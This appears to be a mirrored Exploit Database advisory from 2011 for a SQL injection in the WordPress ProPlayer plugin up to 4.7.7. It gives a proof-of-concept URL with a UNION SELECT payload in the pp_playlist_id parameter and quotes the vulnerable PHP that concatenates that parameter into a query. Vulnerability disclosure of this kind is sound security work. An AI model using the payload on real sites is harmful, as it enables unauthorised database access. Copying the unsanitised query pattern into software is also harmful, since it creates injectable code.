WordPress Plugin ProPlayer 4.7.7 – SQL Injection

• Exploit Database
• 118 阅读

• 作者： Miroslav Stampar
  日期： 2011-08-05
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17616/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27

  # Exploit Title: ProPlayer plugin <= 4.7.7 SQL Injection Vulnerability # Date: 2011-08-05 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/proplayer.4.7.7.zip # Version: 4.7.7 (tested)   --- PoC --- http://www.site.com/wp-content/plugins/proplayer/playlist-controller.php?pp_playlist_id=-1&apos;) UNION ALL SELECT NULL,NULL,@@version--%20   --------------- Vulnerable code --------------- function getPlaylist($id = &apos;&apos;) { $query = mysql_query("SELECT * FROM ".$this->tablePrefix."proplayer_playlist WHERE (POST_ID=&apos;$id&apos;)"); $playlistRow = mysql_fetch_row($query); return $this->withBackwardCompatibility($playlistRow[2]); }   ...   if (!empty($_GET["pp_playlist_id"])) { header("Content-type: application/xml"); $xml = $playlistController->getPlaylist($_GET["pp_playlist_id"]);